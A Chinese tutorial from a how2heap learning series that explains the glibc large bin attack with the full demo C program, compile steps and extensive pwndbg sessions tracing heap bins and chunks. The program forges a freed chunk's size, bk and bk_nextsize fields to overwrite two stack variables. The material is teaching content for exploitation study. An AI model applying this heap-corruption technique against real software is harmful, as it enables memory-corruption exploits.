从零开始学howtoheap:理解fastbins的​large_bin攻击

 how2heap是由shellphish团队制作的堆利用教程,介绍了多种堆利用技术,后续系列实验我们就通过这个教程来学习。环境可参见从零开始配置pwn环境:从零开始配置pwn环境:从零开始配置pwn环境:优化pwn虚拟机配置支持libc等指令-CSDN博客

1.fastbins的large_bin攻击

根据原文描述跟 unsorted bin attack 实现的功能差不多https://blog.csdn.net/weixin_44626085/article/details/136105051,都是把一个地址的值改为一个很大的数

先来看一下目标:
stack_var1 (0x7fffffffe590): 0
stack_var2 (0x7fffffffe598): 0

分配第一个 large chunk: 0x603000
再分配一个 fastbin 大小的 chunk,来避免 free 的时候下一个 large chunk 与第一个合并了

申请第二个 large chunk 在: 0x603360
同样在分配一个 fastbin 大小的 chunk 防止合并掉

最后申请第三个 large chunk 在: 0x6037a0
申请一个 fastbin 大小的防止 free 的时候第三个 large chunk 与 top chunk 合并

free 掉第一个和第二个 chunk,他们会被放在 unsorted bin 中 [ 0x603360 <--> 0x603000 ]

现在去申请一个比他俩小的,然后会把第一个分割出来,第二个则被整理到 largebin 中,第一个剩下的会放回到 unsortedbin 中 [ 0x6030a0 ]

free 掉第三个,他会被放到 unsorted bin 中: [ 0x6037a0 <--> 0x6030a0 ]

假设有个漏洞,可以覆盖掉第二个 chunk 的 "size" 以及 "bk"、"bk_nextsize" 指针
减少释放的第二个 chunk 的大小强制 malloc 把将要释放的第三个 large chunk 插入到 largebin 列表的头部(largebin 会按照大小排序)。覆盖掉栈变量。覆盖 bk 为 stack_var1-0x10,bk_nextsize 为 stack_var2-0x20

再次 malloc,会把释放的第三个 chunk 插入到 largebin 中,同时我们的目标已经改写了:
stack_var1 (0x7fffffffe590): 0x6037a0
stack_var2 (0x7fffffffe598): 0x6037a0
 

2.large_bin_attack 演示程序

#include<stdio.h>
#include<stdlib.h>int main()
{fprintf(stderr, "根据原文描述跟 unsorted bin attack 实现的功能差不多,都是把一个地址的值改为一个很大的数\n\n");unsigned long stack_var1 = 0;unsigned long stack_var2 = 0;fprintf(stderr, "先来看一下目标:\n");fprintf(stderr, "stack_var1 (%p): %ld\n", &stack_var1, stack_var1);fprintf(stderr, "stack_var2 (%p): %ld\n\n", &stack_var2, stack_var2);unsigned long *p1 = malloc(0x320);fprintf(stderr, "分配第一个 large chunk: %p\n", p1 - 2);fprintf(stderr, "再分配一个 fastbin 大小的 chunk,来避免 free 的时候下一个 large chunk 与第一个合并了\n\n");malloc(0x20);unsigned long *p2 = malloc(0x400);fprintf(stderr, "申请第二个 large chunk 在: %p\n", p2 - 2);fprintf(stderr, "同样在分配一个 fastbin 大小的 chunk 防止合并掉\n\n");malloc(0x20);unsigned long *p3 = malloc(0x400);fprintf(stderr, "最后申请第三个 large chunk 在: %p\n", p3 - 2);fprintf(stderr, "申请一个 fastbin 大小的防止 free 的时候第三个 large chunk 与 top chunk 合并\n\n");malloc(0x20);free(p1);free(p2);fprintf(stderr, "free 掉第一个和第二个 chunk,他们会被放在 unsorted bin 中 [ %p <--> %p ]\n\n", (void *)(p2 - 2), (void *)(p2[0]));malloc(0x90);fprintf(stderr, "现在去申请一个比他俩小的,然后会把第一个分割出来,第二个则被整理到 largebin 中,第一个剩下的会放回到 unsortedbin 中 [ %p ]\n\n", (void *)((char *)p1 + 0x90));free(p3);fprintf(stderr, "free 掉第三个,他会被放到 unsorted bin 中: [ %p <--> %p ]\n\n", (void *)(p3 - 2), (void *)(p3[0]));fprintf(stderr, "假设有个漏洞,可以覆盖掉第二个 chunk 的 \"size\" 以及 \"bk\"、\"bk_nextsize\" 指针\n");fprintf(stderr, "减少释放的第二个 chunk 的大小强制 malloc 把将要释放的第三个 large chunk 插入到 largebin 列表的头部(largebin 会按照大小排序)。覆盖掉栈变量。覆盖 bk 为 stack_var1-0x10,bk_nextsize 为 stack_var2-0x20\n\n");p2[-1] = 0x3f1;p2[0] = 0;p2[2] = 0;p2[1] = (unsigned long)(&stack_var1 - 2);p2[3] = (unsigned long)(&stack_var2 - 4);malloc(0x90);fprintf(stderr, "再次 malloc,会把释放的第三个 chunk 插入到 largebin 中,同时我们的目标已经改写了:\n");fprintf(stderr, "stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1);fprintf(stderr, "stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2);return 0;
}

3.调试large_bin_attack 

3.1 获得可执行程序 

gcc -g large_bin_attack .c -o large_bin_attack 

3.2 第一次调试程序

root@pwn_test1604:/ctf/work/how2heap# gcc -g large_bin_attack .c -o large_bin_attack 
root@pwn_test1604:/ctf/work/how2heap# gdb ./large_bin_attack 
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 171 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./large_bin_attack ...done.
pwndbg> r
Starting program: /ctf/work/how2heap/large_bin_attack  
根据原文描述跟 unsorted bin attack 实现的功能差不多,都是把一个地址的值改为一个很大的数先来看一下目标:
stack_var1 (0x7fffffffe590): 0
stack_var2 (0x7fffffffe598): 0分配第一个 large chunk: 0x603000
再分配一个 fastbin 大小的 chunk,来避免 free 的时候下一个 large chunk 与第一个合并了申请第二个 large chunk 在: 0x603360
同样在分配一个 fastbin 大小的 chunk 防止合并掉最后申请第三个 large chunk 在: 0x6037a0
申请一个 fastbin 大小的防止 free 的时候第三个 large chunk 与 top chunk 合并free 掉第一个和第二个 chunk,他们会被放在 unsorted bin 中 [ 0x603360 <--> 0x603000 ]现在去申请一个比他俩小的,然后会把第一个分割出来,第二个则被整理到 largebin 中,第一个剩下的会放回到 unsortedbin 中 [ 0x6030a0 ]free 掉第三个,他会被放到 unsorted bin 中: [ 0x6037a0 <--> 0x6030a0 ]假设有个漏洞,可以覆盖掉第二个 chunk 的 "size" 以及 "bk"、"bk_nextsize" 指针
减少释放的第二个 chunk 的大小强制 malloc 把将要释放的第三个 large chunk 插入到 largebin 列表的头部(largebin 会按照大小排序)。覆盖掉栈变量。覆盖 bk 为 stack_var1-0x10,bk_nextsize 为 stack_var2-0x20再次 malloc,会把释放的第三个 chunk 插入到 largebin 中,同时我们的目标已经改写了:
stack_var1 (0x7fffffffe590): 0x6037a0
stack_var2 (0x7fffffffe598): 0x6037a0
[Inferior 1 (process 157) exited normally]
pwndbg> 

3.3 第二次调试程序

3.3.1 ​设置断点第32行并走起

​ 该技术可用于修改任意地址的值,例如栈上的变量stack_var1和 stack_var2。在实践中常常作为其他漏洞利用的前奏,例如在fastbin attack 中用于修改全局变量global_max_fast为一个很大的值。

​ 首先我们分配 chunk p1, p2 和 p3,并且在它们之间插入其他的 chunk 以防止在释放时被合并。

wndbg> b 32Breakpoint 1 at 0x400850: file large_bin_attack .c, line 32.
pwndbg> r
Starting program: /ctf/work/how2heap/large_bin_attack  
根据原文描述跟 unsorted bin attack 实现的功能差不多,都是把一个地址的值改为一个很大的数先来看一下目标:
stack_var1 (0x7fffffffe590): 0
stack_var2 (0x7fffffffe598): 0分配第一个 large chunk: 0x603000
再分配一个 fastbin 大小的 chunk,来避免 free 的时候下一个 large chunk 与第一个合并了申请第二个 large chunk 在: 0x603360
同样在分配一个 fastbin 大小的 chunk 防止合并掉最后申请第三个 large chunk 在: 0x6037a0
申请一个 fastbin 大小的防止 free 的时候第三个 large chunk 与 top chunk 合并Breakpoint 1, main () at large_bin_attack .c:33
33          free(p1);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────RAX  0x603bc0 ◂— 0x0RBX  0x0RCX  0x7ffff7dd1b20 (main_arena) ◂— 0x100000000RDX  0x603bc0 ◂— 0x0RDI  0x0RSI  0x603be0 ◂— 0x0R8   0x5fR9   0x7ffff7dd2540 (_IO_2_1_stderr_) ◂— 0xfbad2887R10  0x1R11  0x246R12  0x4005b0 (_start) ◂— xor    ebp, ebpR13  0x7fffffffe6a0 ◂— 0x1R14  0x0R15  0x0RBP  0x7fffffffe5c0 —▸ 0x400a10 (__libc_csu_init) ◂— push   r15RSP  0x7fffffffe590 ◂— 0x0RIP  0x400850 (main+426) ◂— mov    rax, qword ptr [rbp - 0x20]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────► 0x400850 <main+426>    mov    rax, qword ptr [rbp - 0x20]0x400854 <main+430>    mov    rdi, rax0x400857 <main+433>    call   free@plt <0x400540>0x40085c <main+438>    mov    rax, qword ptr [rbp - 0x18]0x400860 <main+442>    mov    rdi, rax0x400863 <main+445>    call   free@plt <0x400540>0x400868 <main+450>    mov    rax, qword ptr [rbp - 0x18]0x40086c <main+454>    mov    rax, qword ptr [rax]0x40086f <main+457>    mov    rcx, rax0x400872 <main+460>    mov    rax, qword ptr [rbp - 0x18]0x400876 <main+464>    lea    rdx, [rax - 0x10]
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/large_bin_attack .c28     fprintf(stderr, "最后申请第三个 large chunk 在: %p\n", p3 - 2);29  30     fprintf(stderr, "申请一个 fastbin 大小的防止 free 的时候第三个 large chunk 与 top chunk 合并\n\n");31     malloc(0x20);32  ► 33     free(p1);34     free(p2);35     fprintf(stderr, "free 掉第一个和第二个 chunk,他们会被放在 unsorted bin 中 [ %p <--> %p ]\n\n", (void *)(p2 - 2), (void *)(p2[0]));36 37     malloc(0x90);38     fprintf(stderr, "现在去申请一个比他俩小的,然后会把第一个分割出来,第二个则被整理到 largebin 中,第一个剩下的会放回到 unsortedbin 中 [ %p ]\n\n", (void *)((char *)p1 + 0x90));
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe590 ◂— 0x0
... ↓
02:0010│      0x7fffffffe5a0 —▸ 0x603010 ◂— 0x0
03:0018│      0x7fffffffe5a8 —▸ 0x603370 ◂— 0x0
04:0020│      0x7fffffffe5b0 —▸ 0x6037b0 ◂— 0x0
05:0028│      0x7fffffffe5b8 ◂— 0xe5d20a6fe83dd300
06:0030│ rbp  0x7fffffffe5c0 —▸ 0x400a10 (__libc_csu_init) ◂— push   r15
07:0038│      0x7fffffffe5c8 —▸ 0x7ffff7a2d830 (__libc_start_main+240) ◂— mov    edi, eax
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────► f 0           400850 main+426f 1     7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/large_bin_attack .c:32
pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x603000            0x0                 0x330                Used                None              None
0x603330            0x0                 0x30                 Used                None              None
0x603360            0x0                 0x410                Used                None              None
0x603770            0x0                 0x30                 Used                None              None
0x6037a0            0x0                 0x410                Used                None              None
0x603bb0            0x0                 0x30                 Used                None              None


pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x603000            0x0                 0x330                Used                None              None   p1
0x603330            0x0                 0x30                 Used                None              None    p1
0x603360            0x0                 0x410                Used                None              None   p2
0x603770            0x0                 0x30                 Used                None              None    p2
0x6037a0            0x0                 0x410                Used                None              None   p3
0x603bb0            0x0                 0x30                 Used                None              None    p3
 

3.3.2 ​设置断点第35行并走起 

​ 接下来释放p1和p2,它们被放入unsorted bin中。

pwndbg> b 35
Breakpoint 2 at 0x400868: file large_bin_attack .c, line 35.
pwndbg> c
Continuing.Breakpoint 2, main () at large_bin_attack .c:35
35          fprintf(stderr, "free 掉第一个和第二个 chunk,他们会被放在 unsorted bin 中 [ %p <--> %p ]\n\n", (void *)(p2 - 2), (void *)(p2[0]));
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────RAX  0x1RBX  0x0RCX  0x7ffff7dd1b20 (main_arena) ◂— 0x100000000RDX  0x0RDI  0x7ffff7dd1b20 (main_arena) ◂— 0x100000000RSI  0x0R8   0x5fR9   0x1R10  0x8b8R11  0x7ffff7a914f0 (free) ◂— push   r13R12  0x4005b0 (_start) ◂— xor    ebp, ebpR13  0x7fffffffe6a0 ◂— 0x1R14  0x0R15  0x0RBP  0x7fffffffe5c0 —▸ 0x400a10 (__libc_csu_init) ◂— push   r15RSP  0x7fffffffe590 ◂— 0x0RIP  0x400868 (main+450) ◂— mov    rax, qword ptr [rbp - 0x18]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────0x400854 <main+430>    mov    rdi, rax0x400857 <main+433>    call   free@plt <0x400540>0x40085c <main+438>    mov    rax, qword ptr [rbp - 0x18]0x400860 <main+442>    mov    rdi, rax0x400863 <main+445>    call   free@plt <0x400540>► 0x400868 <main+450>    mov    rax, qword ptr [rbp - 0x18]0x40086c <main+454>    mov    rax, qword ptr [rax]0x40086f <main+457>    mov    rcx, rax0x400872 <main+460>    mov    rax, qword ptr [rbp - 0x18]0x400876 <main+464>    lea    rdx, [rax - 0x10]0x40087a <main+468>    mov    rax, qword ptr [rip + 0x2017df] <0x602060>
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/large_bin_attack .c30     fprintf(stderr, "申请一个 fastbin 大小的防止 free 的时候第三个 large chunk 与 top chunk 合并\n\n");31     malloc(0x20);32  33     free(p1);34     free(p2);► 35     fprintf(stderr, "free 掉第一个和第二个 chunk,他们会被放在 unsorted bin 中 [ %p <--> %p ]\n\n", (void *)(p2 - 2), (void *)(p2[0]));36 37     malloc(0x90);38     fprintf(stderr, "现在去申请一个比他俩小的,然后会把第一个分割出来,第二个则被整理到 largebin 中,第一个剩下的会放回到 unsortedbin 中 [ %p ]\n\n", (void *)((char *)p1 + 0x90));39 40     free(p3);
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe590 ◂— 0x0
... ↓
02:0010│      0x7fffffffe5a0 —▸ 0x603010 —▸ 0x7ffff7dd1b78 (main_arena+88) —▸ 0x603be0 ◂— 0x0
03:0018│      0x7fffffffe5a8 —▸ 0x603370 —▸ 0x603000 ◂— 0x0
04:0020│      0x7fffffffe5b0 —▸ 0x6037b0 ◂— 0x0
05:0028│      0x7fffffffe5b8 ◂— 0xe5d20a6fe83dd300
06:0030│ rbp  0x7fffffffe5c0 —▸ 0x400a10 (__libc_csu_init) ◂— push   r15
07:0038│      0x7fffffffe5c8 —▸ 0x7ffff7a2d830 (__libc_start_main+240) ◂— mov    edi, eax
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────► f 0           400868 main+450f 1     7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/large_bin_attack .c:35
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x603360 —▸ 0x603000 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x603360 /* '`3`' */
smallbins
empty
largebins
empty
pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x603000            0x0                 0x330                Freed     0x7ffff7dd1b78          0x603360
0x603330            0x330               0x30                 Used                None              None
0x603360            0x0                 0x410                Freed           0x603000    0x7ffff7dd1b78
0x603770            0x410               0x30                 Used                None              None
0x6037a0            0x0                 0x410                Used                None              None
0x603bb0            0x0                 0x30                 Used                None              None
pwndbg> 

 pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x603360 —▸ 0x603000 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x603360 /* '`3`' */

smallbins
empty
largebins
empty
pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x603000            0x0                 0x330                Freed     0x7ffff7dd1b78          0x603360
0x603330            0x330               0x30                 Used                None              None
0x603360            0x0                 0x410                Freed           0x603000    0x7ffff7dd1b78
0x603770            0x410               0x30                 Used                None              None
0x6037a0            0x0                 0x410                Used                None              None
0x603bb0            0x0                 0x30                 Used                None              None

3.3.3 ​设置断点第39行并走起

 接下来去申请一个0x90大小的堆块,他会把前面那个0x320大小的堆块切割,同时会给unsorted bin中的free chunk进行整理划分,把那第二块大的放到large bin,第一个剩余的放回到unsorted bin中。

pwndbg> b 39
Breakpoint 4 at 0x4008c1: file large_bin_attack .c, line 39.
pwndbg> c
Continuing.
现在去申请一个比他俩小的,然后会把第一个分割出来,第二个则被整理到 largebin 中,第一个剩下的会放回到 unsortedbin 中 [ 0x6030a0 ]Breakpoint 4, main () at large_bin_attack .c:40
40          free(p3);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────RAX  0xb0RBX  0x0RCX  0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp    rax, -0xfffRDX  0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0RDI  0x2RSI  0x7fffffffbf00 ◂— 0x8ee5a89ce5b08ee7R8   0x7ffff7feb700 ◂— 0x7ffff7feb700R9   0xb0R10  0x0R11  0x246R12  0x4005b0 (_start) ◂— xor    ebp, ebpR13  0x7fffffffe6a0 ◂— 0x1R14  0x0R15  0x0RBP  0x7fffffffe5c0 —▸ 0x400a10 (__libc_csu_init) ◂— push   r15RSP  0x7fffffffe590 ◂— 0x0RIP  0x4008c1 (main+539) ◂— mov    rax, qword ptr [rbp - 0x10]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────0x4008a8 <main+514>    mov    rax, qword ptr [rip + 0x2017b1] <0x602060>0x4008af <main+521>    mov    esi, 0x400d480x4008b4 <main+526>    mov    rdi, rax0x4008b7 <main+529>    mov    eax, 00x4008bc <main+534>    call   fprintf@plt <0x400570>► 0x4008c1 <main+539>    mov    rax, qword ptr [rbp - 0x10]0x4008c5 <main+543>    mov    rdi, rax0x4008c8 <main+546>    call   free@plt <0x400540>0x4008cd <main+551>    mov    rax, qword ptr [rbp - 0x10]0x4008d1 <main+555>    mov    rax, qword ptr [rax]0x4008d4 <main+558>    mov    rcx, rax
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/large_bin_attack .c35     fprintf(stderr, "free 掉第一个和第二个 chunk,他们会被放在 unsorted bin 中 [ %p <--> %p ]\n\n", (void *)(p2 - 2), (void *)(p2[0]));36 37     malloc(0x90);38     fprintf(stderr, "现在去申请一个比他俩小的,然后会把第一个分割出来,第二个则被整理到 largebin 中,第一个剩下的会放回到 unsortedbin 中 [ %p ]\n\n", (void *)((char *)p1 + 0x90));39 ► 40     free(p3);41     fprintf(stderr, "free 掉第三个,他会被放到 unsorted bin 中: [ %p <--> %p ]\n\n", (void *)(p3 - 2), (void *)(p3[0]));42 43     fprintf(stderr, "假设有个漏洞,可以覆盖掉第二个 chunk 的 \"size\" 以及 \"bk\"、\"bk_nextsize\" 指针\n");44     fprintf(stderr, "减少释放的第二个 chunk 的大小强制 malloc 把将要释放的第三个 large chunk 插入到 largebin 列表的头部(largebin 会按照大小排序)。覆盖掉栈变量。覆盖 bk 为 stack_var1-0x10,bk_nextsize 为 stack_var2-0x20\n\n");                                                                                                                                                                                             45 
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe590 ◂— 0x0
... ↓
02:0010│      0x7fffffffe5a0 —▸ 0x603010 —▸ 0x7ffff7dd1e98 (main_arena+888) —▸ 0x7ffff7dd1e88 (main_arena+872) —▸ 0x7ffff7dd1e78 (main_arena+856) ◂— ...
03:0018│      0x7fffffffe5a8 —▸ 0x603370 —▸ 0x7ffff7dd1f68 (main_arena+1096) —▸ 0x7ffff7dd1f58 (main_arena+1080) —▸ 0x7ffff7dd1f48 (main_arena+1064) ◂— ...
04:0020│      0x7fffffffe5b0 —▸ 0x6037b0 ◂— 0x0
05:0028│      0x7fffffffe5b8 ◂— 0xe5d20a6fe83dd300
06:0030│ rbp  0x7fffffffe5c0 —▸ 0x400a10 (__libc_csu_init) ◂— push   r15
07:0038│      0x7fffffffe5c8 —▸ 0x7ffff7a2d830 (__libc_start_main+240) ◂— mov    edi, eax
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────► f 0           4008c1 main+539f 1     7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/large_bin_attack .c:39
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x6030a0 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x6030a0
smallbins
empty
largebins
0x400: 0x603360 —▸ 0x7ffff7dd1f68 (main_arena+1096) ◂— 0x603360 /* '`3`' */
pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x603000            0x0                 0xa0                 Used                None              None
0x6030a0            0x0                 0x290                Freed     0x7ffff7dd1b78    0x7ffff7dd1b78
0x603330            0x290               0x30                 Used                None              None
0x603360            0x0                 0x410                Freed     0x7ffff7dd1f68    0x7ffff7dd1f68
0x603770            0x410               0x30                 Used                None              None
0x6037a0            0x0                 0x410                Used                None              None
0x603bb0            0x0                 0x30                 Used                None              None
pwndbg> 

 pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x6030a0 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x6030a0  切割后剩余的

smallbins
empty
largebins
0x400: 0x603360 —▸ 0x7ffff7dd1f68 (main_arena+1096) ◂— 0x603360 /* '`3`' */  整理进largebin中

pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x603000            0x0                 0xa0                 Used                None              None
0x6030a0            0x0                 0x290                Freed     0x7ffff7dd1b78    0x7ffff7dd1b78 切割后剩余的
0x603330            0x290               0x30                 Used                None              None
0x603360            0x0                 0x410                Freed     0x7ffff7dd1f68    0x7ffff7dd1f68 整理进largebin中
0x603770            0x410               0x30                 Used                None              None
0x6037a0            0x0                 0x410                Used                None              None
0x603bb0            0x0                 0x30                 Used                None              None

3.3.4 ​设置断点第55行并走起

接着free掉p3,将其放入unsorted bin,我们伪造的分别是p2的size、bk以及bk_nextsize,紧接着进行malloc操作,将p3整合进large bin。

​ Large bin是按照fd指针的顺序从大到小排列的,所以需要进行排序,排序的操作大概是:

//victim是p3、fwd是修改后的p2
{victim->fd_nextsize = fwd;//1victim->bk_nextsize = fwd->bk_nextsize;//2fwd->bk_nextsize = victim;//3victim->bk_nextsize->fd_nextsize = victim;//4
}
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
pwndbg> n
stack_var1 (0x7fffffffe590): 0x6037a0
55          fprintf(stderr, "stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────RAX  0x26RBX  0x0RCX  0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp    rax, -0xfffRDX  0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0RDI  0x2RSI  0x7fffffffbf00 ◂— 0x61765f6b63617473 ('stack_va')R8   0x7ffff7feb700 ◂— 0x7ffff7feb700R9   0x26R10  0x0R11  0x246R12  0x4005b0 (_start) ◂— xor    ebp, ebpR13  0x7fffffffe6a0 ◂— 0x1R14  0x0R15  0x0RBP  0x7fffffffe5c0 —▸ 0x400a10 (__libc_csu_init) ◂— push   r15RSP  0x7fffffffe590 —▸ 0x6037a0 ◂— 0x0RIP  0x4009cf (main+809) ◂— mov    rax, qword ptr [rbp - 0x28]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────► 0x4009cf <main+809>    mov    rax, qword ptr [rbp - 0x28]0x4009d3 <main+813>    mov    rcx, rax0x4009d6 <main+816>    mov    rax, qword ptr [rip + 0x201683] <0x602060>0x4009dd <main+823>    lea    rdx, [rbp - 0x28]0x4009e1 <main+827>    mov    esi, 0x40102c0x4009e6 <main+832>    mov    rdi, rax0x4009e9 <main+835>    mov    eax, 00x4009ee <main+840>    call   fprintf@plt <0x400570>0x4009f3 <main+845>    mov    eax, 00x4009f8 <main+850>    mov    rsi, qword ptr [rbp - 8]0x4009fc <main+854>    xor    rsi, qword ptr fs:[0x28]
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/large_bin_attack .c50     p2[3] = (unsigned long)(&stack_var2 - 4);51 52     malloc(0x90);53     fprintf(stderr, "再次 malloc,会把释放的第三个 chunk 插入到 largebin 中,同时我们的目标已经改写了:\n");54     fprintf(stderr, "stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1);► 55     fprintf(stderr, "stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2);56     return 0;57 }
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe590 —▸ 0x6037a0 ◂— 0x0
... ↓
02:0010│      0x7fffffffe5a0 —▸ 0x603010 —▸ 0x7ffff7dd1e98 (main_arena+888) —▸ 0x7ffff7dd1e88 (main_arena+872) —▸ 0x7ffff7dd1e78 (main_arena+856) ◂— ...
03:0018│      0x7fffffffe5a8 —▸ 0x603370 ◂— 0x0
04:0020│      0x7fffffffe5b0 —▸ 0x6037b0 —▸ 0x603360 ◂— 0x0
05:0028│      0x7fffffffe5b8 ◂— 0xe5d20a6fe83dd300
06:0030│ rbp  0x7fffffffe5c0 —▸ 0x400a10 (__libc_csu_init) ◂— push   r15
07:0038│      0x7fffffffe5c8 —▸ 0x7ffff7a2d830 (__libc_start_main+240) ◂— mov    edi, eax
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────► f 0           4009cf main+809f 1     7ffff7a2d830 __libc_start_main+240
pwndbg> x/40gx 0x603360-0x20
0x603340:       0x0000000000000000      0x0000000000000000
0x603350:       0x0000000000000000      0x0000000000000000
0x603360:       0x0000000000000000      0x00000000000003f1
0x603370:       0x0000000000000000      0x00000000006037a0
0x603380:       0x0000000000000000      0x00000000006037a0
0x603390:       0x0000000000000000      0x0000000000000000
0x6033a0:       0x0000000000000000      0x0000000000000000
0x6033b0:       0x0000000000000000      0x0000000000000000
0x6033c0:       0x0000000000000000      0x0000000000000000
0x6033d0:       0x0000000000000000      0x0000000000000000
0x6033e0:       0x0000000000000000      0x0000000000000000
0x6033f0:       0x0000000000000000      0x0000000000000000
0x603400:       0x0000000000000000      0x0000000000000000
0x603410:       0x0000000000000000      0x0000000000000000
0x603420:       0x0000000000000000      0x0000000000000000
0x603430:       0x0000000000000000      0x0000000000000000
0x603440:       0x0000000000000000      0x0000000000000000
0x603450:       0x0000000000000000      0x0000000000000000
0x603460:       0x0000000000000000      0x0000000000000000
0x603470:       0x0000000000000000      0x0000000000000000
pwndbg> n
stack_var2 (0x7fffffffe598): 0x6037a0
56          return 0;
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────RAX  0x26RBX  0x0RCX  0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp    rax, -0xfffRDX  0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0RDI  0x2RSI  0x7fffffffbf00 ◂— 0x61765f6b63617473 ('stack_va')R8   0x7ffff7feb700 ◂— 0x7ffff7feb700R9   0x26R10  0x0R11  0x246R12  0x4005b0 (_start) ◂— xor    ebp, ebpR13  0x7fffffffe6a0 ◂— 0x1R14  0x0R15  0x0RBP  0x7fffffffe5c0 —▸ 0x400a10 (__libc_csu_init) ◂— push   r15RSP  0x7fffffffe590 —▸ 0x6037a0 ◂— 0x0RIP  0x4009f3 (main+845) ◂— mov    eax, 0
